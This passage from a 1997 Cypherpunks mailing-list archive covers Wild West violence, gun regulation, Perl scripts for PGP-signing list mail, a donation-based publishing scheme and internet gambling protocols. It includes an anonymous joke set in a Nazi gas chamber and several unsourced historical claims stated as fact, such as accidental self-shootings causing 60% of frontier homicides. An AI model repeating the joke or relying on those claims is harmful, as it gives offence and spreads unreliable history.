just peace and tranquility shooting deer, harpooning dolpins,
rip-tearing the landscape for profligate cowboy wargames
riding homicidal freeways.

We're all gonna lose our civil war in market place killings and 
road rage, thanks to today's warfighting lesson in free fire 
criminal enterprise by those who've never been shot and
shot and shot, and lost for good -- the vainglorious winners,
the losers desperate to regain glory days.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 22:20:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711021418.IAA04816@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: 2 Nov 1997 05:47:36 -0000
> From: Secret Squirrel <nobody@secret.squirrel.owl.de>
> Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)

> Adam Back wrote:
> >[Ed Note: Jim Choate wrote:]
> >> At the height of the range wars there were only 9 murders
> >> associated with the conflict, not hundreds as the popular
> >> entertainment media and spin-doctor culture would have you
> >> believe. Get your fucking facts straight.
> >
> >I know, that was my point; recall that I said the murder rate was
> >low.  The point was there were way less laws, and few were telling
> >their neighbours what they could think.
> 
> It's not hard to believe that this was the case in some places and in
> some times, but a term like the "Wild West" covers a lot of time and
> territory.

It was the case in all places. The Wild West simply wasn't that wild.

> For example, in San Francisco in the early 1860s there was a very high
> murder rate, something like 1000 people were killed in one year and
> nobody was convicted.  (Forgive minor factual errors as I haven't
> studied this in awhile.)

Damn, I have this book - but not here, at my shop apparently - that was
written by a eastern newspaper report who was in California, to write the
book, and he described San Francisco in the 1800's during the first gold
rushes. He doesn't note significant violence. What really makes the book
interesting is that the reporter took the 'long way' to California - across
Panama via coastal steamers and such. Very interesting descriptions. I'll
make note and get the book next time I'm out there and post to the list for
review.

Would you happen to remember your source? Nothing I have read has ever
mentioned a 1000/year homicide count in San Francisco - ever.

>  I have also read reports of substantial
> violence in the mining communities of Nevada and California with
> minimal enforcement action taken.

That's interesting since this is a specific and commen example of free
market anarchy supporters, the low violence rates in the Cali. gold fields
during the rush. In particular J.D. Davidson & Lord W. Rees-Mogg go to great
lengths at a couple of places in their book "The Sovereign Individual" to
hold it us as a 'model anarchy'.

Me thinks something is going on here below the covers when both sides of the
discussion use the same example (which is why I intentionaly don't use it
but wait for others to bring it up).

> It seems likely to me that the low
> murder rate claim has some exceptions, even if we ignore the mutual
> atrocities between various native groups, Americans, and Mexicans.

If you read "My Life as a Indian" this might change your view of how it was
in that period. "The Texas Rangers" also has quite a lot to say about what
the Indian wars were like in Texas (not really since there really wasn't
much). It is interesting to note that when the cattle drives started in the
1800's the people oppossed didn't pick up a gun and fight as a rule, they
hired lawyers and sued the cattle owners for damages to their farms and
ranches. This one was one of the primary forces behind the closing of the
fronteir - putting up barbed wire - the cattle barons kept losing the cases.

> I would also like to see how pervasive the temperance movement was in
> the Wild West.  By the late nineteenth century my impression is that
> it was going strong in the Wild West although it possibly hadn't
> grasped the levers of power yet.

Let us know how your research goes.

> >> Face off's at high-noon simply didn't happen and poeple didn't run
> >> around having gun fights all the time.
> >
> >Right!
> 
> I'm pretty sure there were gunfights, but that they happened a lot
> more quickly and a lot less formally than we see on TV.  But, I could
> believe that overall they happened infrequently.  Anybody have a
> reference?

See above books as well as the Time*Life series I mentioned in a previous
submission. I would wager that from 1800 to 1900 there were less than a
dozen face-to-face shoot-outs at high-noon, if any at all. There is also a
very good book that covers the French and Spanish explorations of the
southwest starting in the late 1500's up to the early 1800's when they were
either forced out by political agreements or force. I believe the University
of New Mexico puts it out. If I stumble across it (I'll keep an eye out for
it) I'll get identifiying info. Very good book, but a mother to read.

> I am told that knife fighting was a lot more common than is widely
> known.  A lot of poor runaways showed up to work in various mining
> towns and they were unable to afford expensive toys like guns.

Generaly people shot each other with rifles from a distance or back-shots.
But the fact is that most, stats put it as high as 60%, of all homicides
(accidental or intentional) were people shooting themselves with their own
weapon by accident. These sorts of incidents were clearly much higher than
Indians or homicide.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 16:13:50 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199711020810.JAA29037@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




##
In-reply-to: <199711020051.QAA23884@sirius.infonex.com> (message from Mix on
	Sat, 1 Nov 1997 16:51:19 -0800 (PST))
Subject: Re: cute.

-----BEGIN PGP SIGNED MESSAGE-----

Monty says
> What would be really nice is if the mailing list machines time stamped
> messages.

That would be nice.  I wonder, could one of our list hosts add a
script to sign outgoing majordomo traffic?

Here's a script to do it:

- --------------------8<--------------------
#!/usr/local/bin/perl
$userID="cypherpunks\@algebra.com";
$pgp="/usr/local/bin/pgp";
$tmp="/tmp/.sig$$";
undef($/);
$post = <STDIN>;
($headers,@body) = split(/\n\n/,$post);$body = join("\n\n",@body);
open(PIPE,"|$pgp -satf +batchmode +verbose=0 -u $userID > $tmp");
print PIPE $body;
close(PIPE);
open(SIGNED,"<$tmp");$signed=<SIGNED>;close(SIGNED);
print "$headers\n\n$signed";
unlink($tmp);
- --------------------8<--------------------

It handles one mail only.  If you want to run it on a mail folder, use
formail.

> This would also prevent an attack where somebody forges mail from a
> cypherpunks list machine to flush out identities.  If the attacker
> sends a unique message to every person, he or she will be able to
> break an identity if the message is replied to on the list.

You could do something similar with independent parties posting hashes
of messages in the feed they got to the list, or to subscribers to the
service.

The list bot signing is more convenient to check though with existing
software.  Also, unfortunately, most MUA pgp software doesn't check
nested signatures, so a signature from the list would break ability to
auto check signatures from posters.

Here's another script to check the list added signature on receipt:

- --------------------8<--------------------
#!/usr/local/bin/perl
$userID="cypherpunks\@algebra.com";
$pgp="/usr/local/bin/pgp";
$tmp="/tmp/.sig$$";$in="/tmp/.in$$";$msg="/tmp/.msg$$";
undef($/);
$post = <STDIN>;
($headers,@body) = split(/\n\n/,$post);$body = join("\n\n",@body);
open(BODY,">$in");print BODY $body;close(BODY);
$res = system("$pgp -f +batchmode +verbose=0 -u $userID < $in > $tmp 2> $msg");
open(SIGNED,"<$tmp");$signed=<SIGNED>;close(SIGNED);
open(ERR,"<$msg");$err=<ERR>;close(ERR);
if ($res==0) {
    ($who) = ($err =~ m/Good signature from user "(.*)"\./);
    if ($who !~ m/$userID/) { $res=1; }
}
$headers =~ s/\[FORGERY\]//g;
if ($res) {
    $headers =~ s/(Subject: )([^\n]*)/\1\[FORGERY\] \2/g;
}
print "$headers\n";
print "X-Signature: ", $res ? "forgery" : "ok $who", "\n";
print "\n\n$signed\n";
unlink($tmp,$in,$msg);
- --------------------8<--------------------

> I'm not sure a timestamp matters that much for "authenticating" your
> key.  After all, you don't own "Amad3us", you own key 0x4D162BBE1.

Yes.  Except for minor nit: 0x4D162BBE1 is susceptible to a 0xdeadbeef
attack, anyone can generate another key with that keyID.  Even the
fingerprint is spoofable.  But the combination is truly hard to spoof,
and this I do own: 0xa11a8a18bf6dbe8362926e9458a3616d/0x4d162bbe1
(fingerprint/keyID).

Amad3us (0xa11a8a18bf6dbe8362926e9458a3616d/0x4d162bbe1)

-----BEGIN PGP SIGNATURE-----
iQCVAwUBNFwjxvKMuKFNFivhAQGYnAQA33Ss68TKF+QfDGweQZ7TAkbmlOeqPC/J
iBoV5zA+skqdgs+PD2afLAhQn5otm7xbx7rBEnBgMOYff9GyKB6Bfs/po7juwqs5
dACGPZhc5kNf4f18V04jv5sr6PWLWdwsoVegshVsiHmQgWtG9UlnZ0wKe2ORKzxf
sQkJsIe3/jA=
=naXX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 3 Nov 1997 01:20:31 +0800
To: "Brian B. Riley" <cypherpunks@Algebra.COM>
Subject: Re: Clinton's Bigger Gun Ban
In-Reply-To: <199711021554.KAA07184@mx02.together.net>
Message-ID: <v03102800b0825444fa4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 AM -0700 11/2/97, Brian B. Riley wrote:

>On 10/29/97 8:08 PM, Tim May (tcmay@got.net)  passed this wisdom:
>
>>The Klinton Klan has already effectively banned imported SKS ammo
>>(7.62x29, as I recall, given that I don't have any rifles
>>chambering this popular round).
>> ---
>>Before you rush to correct me, I _meant_ to write "7.62x39" of
>>course.
>>
>>(A round used by the Chinese, Soviet, and East Bloc nations, and
>>roughly equivalent to the American M-16 round, known either as the
>>.223 or 5.56mm. The NATO "7.62" is in a longer case length.
>>7.62x54, as I recall. Known in America as .308.
>
> If I remember right they were able to do this because the only ammo
>available for 7.62x39  is from the Chinese and uses steel core
>projectiles not lead. Then when Olympic Arms came out with the cutdown
>weapon chambered for 7.62x39 it was able to be banned uder a
>regualtion banning "armor piercing ammo that could be used in a
>handgun."

Vinnie M. sent me a note also saying this. I guess the Eastern European
stuff is available--for now.

Some in the gun community are vilifying Olyarms for introducing this OA-93
"assault pistol" (the name often applied to politically incorrect pistols
like this). As if Olyarms should have been cowed into not introducing a
product out of fear that Clinton would abuse his authority to ban Chinese
ammo.

>   One thing though,  7.62x39 really could not be compared to the 5.56
>NATO, its really more potent out to 2-300 meters; it is still a .30
>cal vs 5.56 NATOs .223,  but its far less potent than 7.62 NATO
>(7.62x54). The 7.62x39 was the standard caliber of ComBloc weapons for
>several decades, most specifically the AK-47, AKM-44 (sniper weapon),
>and SKS carbine. I think the Dragunov sniper system used a more potent
>cartridge.

I've never owned anything in 7.62x39. I hear the SKS rifles are pretty good
for $150, or whatever, and a lot of people have bought them. To me they
look a little crude. And since I can afford things out of the AR-15 line....

(Debate rages in rec.guns and elsewhere about the relative merits of the
cartridges. I certainly see more variants of the AR-15 here in America,
more use by tactical and law enforcement teams, and more accessories. But
maybe I'm not looking in the right places.)

One of the more interesting images I ever saw was a photo in one of the gun
mags of a friendly meeting in the U.S. between Eugene Stoner, principal
designer of the AR-15 (the M-16 in its military version) and Mikhail
Kalashnikov, whose name needs no further explanation.

I suppose tree-hugging peaceniks would be aghast at a meeting between these
two merchants of death. I, being an antigovernment type, was nevertheless
impressed.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 3 Nov 1997 01:48:49 +0800
To: cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
In-Reply-To: <199711021310.FAA06433@sirius.infonex.com>
Message-ID: <v03102801b0825c6de50d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:10 AM -0700 11/2/97, Mix wrote:

>Tim May wrote:
>>Since when is broadcasting a radio or television show or writing an
>>essay evidence of complicity in a murder, even when it "pushes
>>someone over the line"?
>
>The producers of the show had better hope that it is not evidence of
>complicity in a murder.
>
>Let's say Tim is crazy.(*)  He told us how much he enjoyed seeing the
>BATF agent take one in the face.  If this were to inspire him to try
>the same thing in real life, how would the producers of the show be
>less guilty than the talk show host?

According to the dubious logic of that episode, no doubt they would say
they were innocent because they had not _met_ me on any occasions. If,
however, the prosecution could produce a witness saying she had seen me in
the company of the writer, director, producer, etc., then their bacon would
be cooked. By the logic of their episode, of course.

>
>(*) Tim seems too wiley to be crazy.  Instead, he seems to be playing
>The Most Dangerous Game: Fed baiting.
>

It used to be called "free speech."

Nowadays, admitting that one has guns is fed baiting. Admitting that one
will defend one's self is fed baiting. Admtting that one has read certain
books is fed baiting. And using unbreakable crypto is fed baiting.

Ah, what has the world come to?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 3 Nov 1997 01:56:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: cute
Message-ID: <199711021741.JAA23263@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

> There was a discussion a little while ago suggesting that toad.com had
> been compromised by people who were sowing dissension by partially
> distributing certain messages.  Had toad signed all of its messages,
> it would be possible to obtain evidence supporting this hypothesis
> without relying entirely on the word of people we may not know.

How do signed messages deal with the incompleat distribushun problem?
If legit signed messages are not sent to half the list, what does
the sig gain us?

> Had somebody compromised toad, they would still have to correctly sign
> messages.

But, depending on the compromise, this could be possible.

> > This would also prevent an attack where somebody forges mail from a
> > cypherpunks list machine to flush out identities.  If the attacker
> > sends a unique message to every person, he or she will be able to
> > break an identity if the message is replied to on the list.

Thats why its a good ideal to missquote peaple.   And to only reply
from the account you read on.  And to use remalers.


Monty Cantspell
Editor in Chief
Groan Magazine
http://www.neoism.org/squares/groan_index.html
http://www.neoism.org/squares/cantspell_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@cypherpunks.to>
Date: Sun, 2 Nov 1997 17:37:57 +0800
To: cypherpunks@cyberpass.net
Subject: ANNOUNCE: pgp5-pine 0.1
Message-ID: <Pine.BSF.3.96.971102095959.24276A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is to announce version 0.1 of pgp5-pine, a set of shell (sh) scripts
for integrating pgp 5.x for unix into the pine mail reader. The scripts
operate via pine's facility for filters, both incoming and outgoing.

You can encrypt, decrypt, sign, and verify messages with some ease. The
send filter will automagically retrieve keys from a keyserver if told
to do so, and leans toward paranoia when it cannot encrypt a message.

This is the first released version, there is always the possibility
of bugs and/or behaviors you don't agree with. Note that these scripts 
do _not_ handle PGP/MIME, as pine does not pass the MIME structure of 
messages to filters.

For more information, see https://www.cypherpunks.to/

Disclaimer: I am not responsible for the choice of colors on the 
            cypherpunks.to web site, or any damage to anything yours
            from using this code.

Please direct all bug reports, requests, or other inquiries to
jeremey@cypherpunks.to

Regards,
Jeremey.
- --
Jeremey Barrett
jeremey@cypherpunks.to

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=CmDv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 2 Nov 1997 23:58:12 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: Clinton's Bigger Gun Ban
Message-ID: <199711021554.KAA07184@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/29/97 8:08 PM, Tim May (tcmay@got.net)  passed this wisdom:

>The Klinton Klan has already effectively banned imported SKS ammo 
>(7.62x29, as I recall, given that I don't have any rifles 
>chambering this popular round).
> ---
>Before you rush to correct me, I _meant_ to write "7.62x39" of
>course.
>
>(A round used by the Chinese, Soviet, and East Bloc nations, and 
>roughly equivalent to the American M-16 round, known either as the 
>.223 or 5.56mm. The NATO "7.62" is in a longer case length. 
>7.62x54, as I recall. Known in America as .308.

 If I remember right they were able to do this because the only ammo
available for 7.62x39  is from the Chinese and uses steel core
projectiles not lead. Then when Olympic Arms came out with the cutdown
weapon chambered for 7.62x39 it was able to be banned uder a
regualtion banning "armor piercing ammo that could be used in a
handgun."

   One thing though,  7.62x39 really could not be compared to the 5.56
NATO, its really more potent out to 2-300 meters; it is still a .30
cal vs 5.56 NATOs .223,  but its far less potent than 7.62 NATO
(7.62x54). The 7.62x39 was the standard caliber of ComBloc weapons for
several decades, most specifically the AK-47, AKM-44 (sniper weapon),
and SKS carbine. I think the Dragunov sniper system used a more potent
cartridge.

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=qkl4
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Bacon and eggs: A days work for a chicken; a lifetime commitment for a 
pig"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 18:33:43 +0800
To: cypherpunks@toad.com
Subject: InfoWar Feedback Form #AB7-09-C3F87-%&((&%$%*
Message-ID: <199711021023.LAA10521@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I, the undersigned undertoad, herby express my evaluation of the
TruthMonger multi-user persona, based on my understanding of the 
contents of Epilogue 8 of 'InfoWar'.

TruthMonger should:
1. Run for President of the United States of America. [ ] ~ Y/N
2. Seek medical help immediately. [ ] ~ Y/N

PLP Signature: 

Thanking you for your input,
A Concerned Illegal Immigrant






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 18:32:47 +0800
To: cypherpunks@toad.com
Subject: Definition: Spin Doctoring
Message-ID: <199711021025.LAA10659@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Definition: Spin Doctoring - You are standing naked in the gas chamber
with a thousand of your fellow ethnic outlaws when the voice of Herr
Himmler blares out from  the speakers,  "I have decided to spare your
lives." The loud cheers of yourself and your grateful ethnological
comrades are cut short by the sound of a deadly gas being released from
the ceiling vents. A different voice comes over the speaker, saying,
"What Herr Himmler _meant_ to say, was..."

Sick humor? Moi...?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 3 Nov 1997 00:37:40 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Fwd: Re: Fwd: William Louis ... Pol Pot speaks...
Message-ID: <199711021632.LAA07951@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



 I forwarded a copy of the above article to my friend Roger who lives and 
works in Thailand and this was his response ... I thought it might be of 
interest to the list.

---------------- Begin Forwarded Message ----------------
Date:        11/02  9:13 AM
Received:    11/02  10:39 AM
From:        Roger Adams, rogera@mozart.inet.co.th
To:          Brian B. Riley, brianbr@together.net

>Brian B. Riley wrote:
>>I came across this piece the other day and am rereading it for the 
>>fourth or fifth time. "Food for thought" doesn't even begin to 
>>describe it in my rarely very humble opinion. 
>  (snip)
>>Pol Pot Speaks
>>
>> On Oct. 16 Nate Thayer, an American correspondent for the weekly 
>>Far Eastern Economic Review, conducted the first known interview 
>>since 1979 with Cambodian Communist Pol Pot. The New York Times 
>>printed excerpts Oct. 23. 

>Brian,
>
>Nate is actually based in Bangkok and I have met him quite a few 
>times in one of my favourite watering holes. I was there last Friday 
>(31st Oct) and was told that he had gone back to Phnom Penh to 
>confront Hun Sen for calling him a liar and questioning the validity 
>of his interview with Pol Pot. Nate apparently got very upset at 
>this so he decided to sort it out. All of us who know him feel that 
>he is risking his life by going back to Cambodia at this time. The 
>situation there is very unstable and life is very cheap. We all 
>hope he makes it back safely.
>
>Just for some background information, Nate is a very intense and 
>proud fellow who takes his profession very seriously indeed. He is 
>the only journalist to have been able to get close enough to Pol 
>Pot (by close, I mean in very near proximity) to be able to watch 
>and film him being tried by his fellow commanders and to interview 
>him. A very facinating chap and very likeable. I am sure you came 
>across some of these types during the Vietnam War.
>
>Will keep you posted.
>
>Roger  

----------------- End Forwarded Message -----------------

Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Civilization is the progress toward a society of privacy. The
   savage's whole existence is public, ruled by the laws of his tribe.
   Civilization is the process of setting man free from men."
    -- Ayn Rand - The Fountainhead (1943)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Mon, 3 Nov 1997 02:11:21 +0800
To: "Perry's Crypto List" <cypherpunks@Algebra.COM>
Subject: Copyright commerce and the street musician protocol
Message-ID: <199711021807.MAA30019@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: Perry's Crypto List, Cypherpunks ## Date: 11/01/97 ##
  Subject: Copyright commerce and the street musician protocol ]

I've been working on various copyright protection schemes
from time to time over the last three years.  The general
goal is (naturally enough) to make some digital data hard to
copy without some kind of permission or payment or record
being made.  Thus, a user may have a book (mostly text,
perhaps with some illustrations) he is reading on his
computer, and the publisher wants to make sure that that
user can't give copies of the book to all his friends, or
post it to the net, or whatever.

I'm convinced that there will never be a secure solution to
this problem.  (I can't imagine that this is news to anyone
on these two lists.)  I have somewhat mixed feelings about
this--I'd hate to see my favorite authors and musicians
either waiting tables for a living, or having to insert
references to their sponsors' products in their stories.
(``And then he bought her a Coke, and her eyes lit up.'') On
the other hand, a widespread copyright commerce system that
really works is most of the infrastructure for a massive
censorship mechanism.  (Reset the price of books you don't
like to a billion dollars US per copy made.)

Suppose I want to get paid for the next chapter of my
thrilling novel.  A whole bunch of people want to see me
publish my next chapter.  So, I make some statement like
``When I get $1,000 in donations, I will publish
the next chapter in this novel.''  Readers can go to my
website, see how much further there is to go, and donate
money to the cause of getting my novel out.  Note that I,
the author, don't care *who* pays to get the next chapter
out; nor do I care about free riders.  Instead, I just care
that my $1,000 pot gets filled.  When it does, I publish the
next chapter.

There are basically three things that can go wrong here:

a.  I set my price too high, and never reach my amount.  (It
might be possible to decrease the total amount required
later, though it would be a little questionable to do this
often.)

b.  I set my price too low, and get lots less than I could
have gotten.  (This is self-correcting.)

c.  I get my amount filled, but still don't publish the next
chapter of my novel.

The trust issues, especially with (c), are worth
considering.  The obvious (clunky) way to solve this is to
have a trusted third party handle the whole transaction.  We
will call him the Publisher.

Now, I submit my novel, or parts of it, to the Publisher.
He has his editors review it to see if it's worth trying to
sell (like any publisher, albeit with rather low
printing/binding costs).  If so, he and I agree on a price
and split.  For unknown authors, the first several chapters,
or even the first few books, may be freely available, in
hopes of drawing in customers.  For known authors, perhaps
the first chapter or two is free, and the rest go through
the payment mechanism.  He has my whole novel, and on his
web site, he makes available, say, chapters 1-3 for free,
and chapter 4 will become available when $1000 is donated to
the cause of getting it out, or on January 1, 1998.

If enough readers want to hurry up and see the next chapter,
they can make a payment.  The publisher needs no
identification for this, so anonymous payment systems work
quite well.  The Publisher holds the payments in escrow
until the chapter is released, and then sends me my cut.

I think I can build a similar protocol without the Publisher
taking anything but a backup role--he gets the money
transfers and holds them in escrow, and if the chpater isn't
released, either he can release it or he can return the
money, or donate it to some charity, or whatever.  (The
whatever has to be spelled out beforehand, and the money
mustn't go to the author, directly or indirectly.)

This is obviously not a complete solution.  The neat thing
is, it can be used with other systems.  (Thus, if you want
to include a shareware/guiltware message on each copy, or
try to use some kind of software or hardware protection for
the chapters once they're published, then this system
doesn't alter that much--the donors simply get prepurchased
copies of the book, released on the normal release date.)

Similar ideas may work in other areas.  In software, I
suspect it would be a way of getting a feel from the market
for what new features are wanted.  In music, perhaps this
could be used for individual songs, or maybe it would work
better for whole albums.  Television and movie serials could
work this way (it works for PBS, doesn't it?).  Some books,
music, and movies would be *awful* to release this way,
though.  I wish I had a more useful general solution, but
maybe this will help a little.

Comments?  This is clearly not all that new, but I've never
seen it in a crypto context from anyone but me.

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Mon, 3 Nov 1997 02:11:18 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Re: Infastructure Protection and Paranoia
Message-ID: <199711021808.MAA30033@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks ## Date: 10/30/97 ##
  Subject: Re: Infastructure Protection and Paranoia ]

>Date: Tue, 28 Oct 1997 23:35:41 -0800
>From: Bill Stewart <stewarts@ix.netcom.com>
>Subject: Re: Infastructure Protection and Paranoia

>At this year's CFP one evening we were playing the game of
>"You want to cause maximum disruption to the US
>infrastructure, and you've got 100 small explosive devices.
>Where do you put them?" Much creativity was displayed and
>substantial amounts of testosterone reveled in, and the
>overall conclusion was that we'd be in deep trouble if
>anybody even vaguely competent wanted to monkeywrench the
>system.

I agree.  This has always been my reaction to the infowar
folks--anyone who understands how to attack a system can
look around and find hundreds of fairly easy targets.  Some
of these targets just *can't* be protected in a
cost-effective way.  (Note the way the IRA and various
Palestinian terrorists still manage to find soft targets,
despite the fact that their intended victims have spent
years and millions of dollars hardening the obvious soft
points.)

>After that, we played the Russell-Brand-like game of
>"Destruction is easy.  What would you do if you wanted to
>create the most joy in the world instead."  That was harder
>:-)

Of course.  Any moron with a hammer can ruin a car engine;
it takes a skilled mechanic to fix one.  The same applies
almost everywhere--destroying something takes a fraction of
the skill of building or maintaining it.

>				Thanks!
>					Bill
>Bill Stewart, stewarts@ix.netcom.com
>Regular Key PGP Fingerprint
>                D454 E202 CBC8 40BF  3C85 B884 0ABE 4639

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Mon, 3 Nov 1997 02:15:13 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Kyl's internet gambling bill
Message-ID: <199711021810.MAA30056@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks ## Date: 10/30/97 ##
  Subject: Kyl's internet gambling bill ]

>Date: Wed, 29 Oct 1997 13:31:21 -0800
>From: Steve Schear <azur@netcom.com>
>Subject: Re: Kyl S-474 Anti-Gambling Bill passes committee

[Stuff about Kyl's anti-internet gambling bill.]

>Prediction: this bill will be about as effective as
>outlawing spring.

>About 20% of gamblers are 'problem' types who now regularly
>game illegally and could careless about the penalties.  Once
>all on-line casinos offer real and 'play-money' wagering and
>strong crypto it will be neigh impossible for the Feds to
>know or prove which players are wagering real money and
>therefore gambling.  Once Onion and Crowds routers are
>operational and widespread the Feds won't even be able to
>find the casinos, and even if they do they may not be able
>to shut them down (especially if they are built in a
>distributed fasion).

I always find these laws entertaining.  In Missouri, we have
state-run gambling in the lottery system, and state-licenced
gambling on the riverboat casinos.  Our Attorney General has
been very vocal about shutting down internet casinos, to
protect Missouri's citizens from being exploited.  His
concern for the welfare of problem gamblers in our state
is touching.  Odd that he isn't worried about those same
citizens being taken advantage of by the in-state
operations.

Of course, the real issue here isn't about protecting
citizens from themselves, or even about keeping citizens
from being cheated by the electronic equivalent of weighted
dice.  It's about protecting the financial interests of
those who now benefit from having local gambling monopolies.
The state gets quite a bit of money from the lottery, and
the companies that have invested in building riverboat
casinos here are surely concerned about potential
competition via the internet.  The cities that have
riverboat casinos typically get some part of the money made
from them, which nicely brings those city governments into
line.  Presumably, something similar is happening with
various states' Indian Reservations opening casinos.

It's an interesting side-point that really anonymous
communications and payment systems applied to gambling
systems mean not only that *governments* can't shut down
competing gambling schemes, but also that organized crime
can't shut them down, whether through influencing corrupt
governments to try to shut them down, or through direct
action.


Ob Crypto:  There are cryptographic gambling protocols that
can be verified (given some set of assumptions about
underlying operations) to be fair.  Thus, it's possible for
a gambling operation to make their client software freely
available in source, and allow people to see what it does
and review it for fairness.  If you find a reviewer or two
you trust, you can ask them to digitially sign the
executable they got when they compiled the code, and refuse
to use any other code.  This gives you a level of certainty
that you're not being cheated by weighted dice that you
simply can't get in physical casinos.  (Sure, government
agencies inspect those casinos, but the inspectors aren't
incorruptible, and they can't be everywhere at once.)

For a simple example, consider a situation where Alice and
Bob need to agree on a shared seed.  Assume they already
have established a secure (encrypted and authenticated)
session. They can easily generate a new shared seed by doing
something like this:

1. Alice generates random R_0 and sends hash(R_0) to Bob.
2. Bob generates random R_1 and sends hash(R_1) to Alice.
3. Alice sends R_0 to Bob.
4. Bob sends R_1 to Alice.
5. Alice and Bob each generate their shared seed, R_0 XOR R_1.

If the hash function doesn't leak information about its
inputs, and if it is collision-resistant, then this protocol
should work.  If either party generates a random number,
then the resulting seed is random, regardless of the other
party's input.  (You still have to work out administrative

issues, like what happens when communications fail
conveniently just after Alice sends Bob R_0, but these are
